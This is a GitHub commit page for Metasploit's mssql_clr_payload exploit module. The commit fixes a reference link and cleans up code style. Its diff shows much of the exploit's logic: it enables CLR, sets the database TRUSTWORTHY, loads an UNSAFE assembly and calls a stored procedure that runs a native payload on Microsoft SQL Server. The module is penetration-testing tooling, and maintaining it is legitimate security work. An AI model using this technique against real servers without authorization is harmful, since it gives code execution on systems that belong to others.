Skip to content

Commit 0630187

Browse files
authored
Land rapid7#19798, fixing link and code cleanup
Fix nsfw link in mssql_clr_payload, and rubocop the module
2 parents de0cde7 + ce9f1b9 commit 0630187

File tree

2 files changed

+44
-41
lines changed

2 files changed

+44
-41
lines changed

documentation/modules/exploit/windows/mssql/mssql_clr_payload.md

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
## Introduction
22

3-
This module is based on the work that was done by @leechristensen and @sekirkity as documented [here](http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/).
3+
This module is based on the work that was done by @leechristensen and @sekirkity as
4+
documented [here](https://web.archive.org/web/20200810021536/http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/).
45

56
## Prerequisites
67

modules/exploits/windows/mssql/mssql_clr_payload.rb

Lines changed: 42 additions & 40 deletions
Original file line numberDiff line numberDiff line change
@@ -9,45 +9,48 @@ class MetasploitModule < Msf::Exploit::Remote
99
include Msf::Exploit::Remote::MSSQL
1010

1111
def initialize(info = {})
12-
super(update_info(info,
13-
'Name' => 'Microsoft SQL Server Clr Stored Procedure Payload Execution',
14-
'Description' => %q{
15-
This module executes an arbitrary native payload on a Microsoft SQL
16-
server by loading a custom SQL CLR Assembly into the target SQL
17-
installation, and calling it directly with a base64-encoded payload.
18-
19-
The module requires working credentials in order to connect directly to the
20-
MSSQL Server.
21-
22-
This method requires the user to have sufficient privileges to install a custom
23-
SQL CRL DLL, and invoke the custom stored procedure that comes with it.
24-
25-
This exploit does not leave any binaries on disk.
26-
27-
Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64).
28-
},
29-
'Author' =>
30-
[
31-
'Lee Christensen', # original idea/research
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'Microsoft SQL Server Clr Stored Procedure Payload Execution',
16+
'Description' => %q{
17+
This module executes an arbitrary native payload on a Microsoft SQL
18+
server by loading a custom SQL CLR Assembly into the target SQL
19+
installation, and calling it directly with a base64-encoded payload.
20+
21+
The module requires working credentials in order to connect directly to the
22+
MSSQL Server.
23+
24+
This method requires the user to have sufficient privileges to install a custom
25+
SQL CRL DLL, and invoke the custom stored procedure that comes with it.
26+
27+
This exploit does not leave any binaries on disk.
28+
29+
Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64).
30+
},
31+
'Author' => [
32+
'Lee Christensen', # original idea/research
3233
'Nathan Kirk', # extra research/blog post
3334
'OJ Reeves' # Metasploit module
3435
],
35-
'License' => MSF_LICENSE,
36-
'References' =>
37-
[
38-
['URL', 'http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/']
36+
'License' => MSF_LICENSE,
37+
'References' => [
38+
# as of January 9, 2025 http://sekirkity.com is now a banner ad site w/ NSFW content.
39+
['URL', 'https://web.archive.org/web/20200810021536/http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/']
3940
],
40-
'Platform' => 'win',
41-
'Arch' => [ARCH_X86, ARCH_X64],
42-
'Targets' => [['Automatic', {}]],
43-
'DefaultTarget' => 0,
44-
'DisclosureDate' => '1999-01-01'
45-
))
41+
'Platform' => 'win',
42+
'Arch' => [ARCH_X86, ARCH_X64],
43+
'Targets' => [['Automatic', {}]],
44+
'DefaultTarget' => 0,
45+
'DisclosureDate' => '1999-01-01'
46+
)
47+
)
4648

4749
register_options(
4850
[
4951
OptString.new('DATABASE', [true, 'The database to load the CLR Assembly into.', 'master'])
50-
])
52+
]
53+
)
5154
end
5255

5356
def check
@@ -74,7 +77,7 @@ def check
7477
end
7578

7679
def get_sql_version_string
77-
mssql_query("select @@version", false)[:rows].first[0]
80+
mssql_query('select @@version', false)[:rows].first[0]
7881
end
7982

8083
def get_sql_architecture(sql_version_string)
@@ -101,7 +104,7 @@ def set_trustworthy(on)
101104
result[:errors].each do |err|
102105
vprint_error(err)
103106
end
104-
fail_with(Failure::Unknown, "Failed to change Trustworthy setting")
107+
fail_with(Failure::Unknown, 'Failed to change Trustworthy setting')
105108
end
106109
end
107110

@@ -112,18 +115,18 @@ def is_trustworthy
112115
end
113116

114117
def enable_clr(enable)
115-
query = %Q^
118+
query = %(
116119
EXEC sp_configure 'show advanced options', 1;
117120
RECONFIGURE;
118121
EXEC sp_configure 'clr enabled', #{enable ? 1 : 0};
119122
RECONFIGURE;
120-
^
123+
)
121124
result = mssql_query(query, false)
122125
unless result[:errors].empty?
123126
result[:errors].each do |err|
124127
vprint_error(err)
125128
end
126-
fail_with(Failure::Unknown, "Failed to change CLR setting")
129+
fail_with(Failure::Unknown, 'Failed to change CLR setting')
127130
end
128131
end
129132

@@ -180,14 +183,14 @@ def exploit
180183
# Convert the assembly to the required format for execution of the stored
181184
# procedure to create the custom stored proc
182185
hex_assembly = "0x#{assembly.unpack('H*')[0]}"
183-
asm_name = Rex::Text.rand_text_alpha(rand(4) + 8)
186+
asm_name = Rex::Text.rand_text_alpha(rand(8..11))
184187
query = "CREATE ASSEMBLY [#{asm_name}] AUTHORIZATION [dbo] FROM #{hex_assembly} WITH PERMISSION_SET = UNSAFE"
185188

186189
print_status('Adding custom payload assembly ...')
187190
mssql_query(query, false)
188191

189-
proc_name = Rex::Text.rand_text_alpha(rand(4) + 8)
190-
param_name = Rex::Text.rand_text_alpha(rand(4) + 8)
192+
proc_name = Rex::Text.rand_text_alpha(rand(8..11))
193+
param_name = Rex::Text.rand_text_alpha(rand(8..11))
191194
query = "CREATE PROCEDURE [dbo].[#{proc_name}](@#{param_name} AS NVARCHAR(MAX)) AS EXTERNAL NAME [#{asm_name}].[StoredProcedures].[ExecuteB64Payload]"
192195

193196
print_status('Exposing payload execution stored procedure ...')
@@ -214,7 +217,6 @@ def exploit
214217
print_status('Restoring Trustworthy setting ...')
215218
set_trustworthy(false)
216219
end
217-
218220
ensure
219221
disconnect
220222
end

0 commit comments

Comments
 (0)